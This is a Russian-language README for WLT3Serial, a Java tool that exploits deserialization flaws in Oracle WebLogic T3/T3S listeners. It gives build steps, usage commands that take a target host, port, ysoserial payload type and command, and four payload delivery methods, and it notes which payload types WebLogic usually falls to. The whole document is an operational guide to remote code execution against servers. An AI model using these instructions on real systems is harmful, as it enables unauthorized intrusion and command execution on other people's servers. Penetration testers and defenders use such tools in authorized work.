WLT3Serial

Нативный эксплойт десериализации на Java для слушателей WebLogic T3 (и T3S) (как описано ЗДЕСЬ). Требует сторонних зависимостей ysoserial и wlthint3client.

Преимущества/Недостатки по сравнению с JavaUnserializeExploits weblogic.py и loubia

Преимущества:

• Обрабатывает T3/T3S-коммуникацию нативно (для большинства методов эксплуатации) с помощью Java вместо использования одноразовых захватов пакетов с помощью Python-скриптов, и поэтому должен работать со всеми версиями сервера WebLogic.
• Генерирует объектные полезные нагрузки напрямую через ysoserial при каждом выполнении вместо одноразово сгенерированных объектных полезных нагрузок, и поэтому поддерживает все типы объектных полезных нагрузок в последней версии ysoserial.
• Анализирует (и отображает, если запрошено) все выбрасываемые исключения во время выполнения и четко указывает предполагаемый общий результат выполнения на основе этих исключений. Это включает уведомление пользователя, если эксплуатация выглядит успешной, если связь через SSL/TLS не удалась или если целевой сервер WebLogic, похоже, защищен от эксплуатации.
• Предлагает несколько различных методов доставки полезной нагрузки (похоже на JavaUnserialize weblogic.py/loubia и ysoserial.exploit.RMIRegistryExploit).

Недостатки:

• Зависит от .jar-файла (wlthint3client.jar), который не может быть распространен мной (из-за условий лицензирования Oracle) и может быть загружен только с именем пользователя/паролем Oracle. Из-за этого я могу распространять только «тонкий» release jar, который всё равно требует от пользователя получения необходимого файла wlthint3client.jar от Oracle.
• Из-за проблем с тем, как JVM загружает классы во время инициализации, использование полноценного исполняемого jar-файла WLT3Serial (WLT3Serial-full-[VERSION].jar) больше не поддерживается. Поэтому WLT3Serial требует несколько файлов (описано ниже) для правильной работы с полной функциональностью.

Сборка

Требуется Oracle Java 7 или 8. Не тестировалось с другими поставщиками Java (например, OpenJDK или IBM JRE), поэтому я не гарантирую поддержку для них. Вероятно, может быть собрано с Java 9 или 10, но я не гарантирую поддержку для них.

WLT3Serial собирается с помощью системы автоматизации сборки Gradle. Для сборки следует использовать Gradle 4, хотя другие версии были частично протестированы (см. раздел Разработка).

Сторонние зависимости:

• ysoserial — для генерации полезных нагрузок десериализации объектов; требуется версия v0.0.5 или выше (будет загружена автоматически Gradle, если не предоставлена заранее пользователем.)
• wlthint3client — для нативной обработки T3/T3S-соединений; должен быть предоставлен пользователем (из-за условий лицензирования Oracle): может быть загружен (требует имя пользователя/пароль Oracle) в составе файла wls1036_dev.zip (находится в /wlserver/server/lib/wlthint3client.jar) на этой странице (раздел «Zip distribution for Mac OSX, Windows, and Linux» в секции «Oracle WebLogic Server 10.3.6»).

Процедура:

1. Клонируйте репозиторий WLT3Serial. git clone https://github.com/Bort-Millipede/WLT3Serial.git
2. Откройте терминал и перейдите в клонированный репозиторий.
3. Выполните следующую команду для создания предварительного каталога сборки: gradle clean prepare
4. Поместите загруженный файл wlthint3client.jar в каталог build/libs/.
5. (ОПЦИОНАЛЬНО) Если вы используете предпочтительную версию ysoserial (v0.0.5 или выше), поместите файл ysoserial.jar в каталог build/libs/.
6. Чтобы собрать jar-файл WLT3Serial (находится в build/libs/WLT3Serial-[VERSION].jar), выполните следующую команду: gradle build -x test

Использование

Требуется Oracle Java 7 или 8. Не тестировалось с другими поставщиками Java (например, OpenJDK или IBM JRE), поэтому я не гарантирую поддержку для них. Вероятно, может быть использовано с Java 9 или 10, но я не гарантирую поддержку для них.

Если используются методы эксплуатации Property (по умолчанию), Bind или WLBind, WLT3Serial следует выполнять следующим образом (обратите внимание на значение параметра java '-cp'):

• на *nix: java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
• на Windows: java -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD

Если используется метод эксплуатации CustomClass, WLT3Serial следует выполнять следующим образом (обратите внимание на значение параметра java '-cp'):

• на *nix: java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
• на Windows: java -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD

Ниже приведена распечатка встроенного меню справки:

Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD

Options:
	--help				print usage (you're lookin at it)

	--verbose			Verbose output (full thrown exception output; Disabled by default)

	--method=EXPLOIT_METHOD		Exploit Method for delivering generated ysoserial payload
		Exploit Methods:
			Property	Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
			Bind		Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
			WLBind		Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
			CustomClass	Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)

	--t3s[=PROTOCOL]		Use T3S (transport-encrypted) connection (Disabled by default)
		Protocols:
			TLSv1.2
			TLSv1.1
			TLSv1 (Default)
			SSLv3
			SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)


Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
	(available payloads listed here)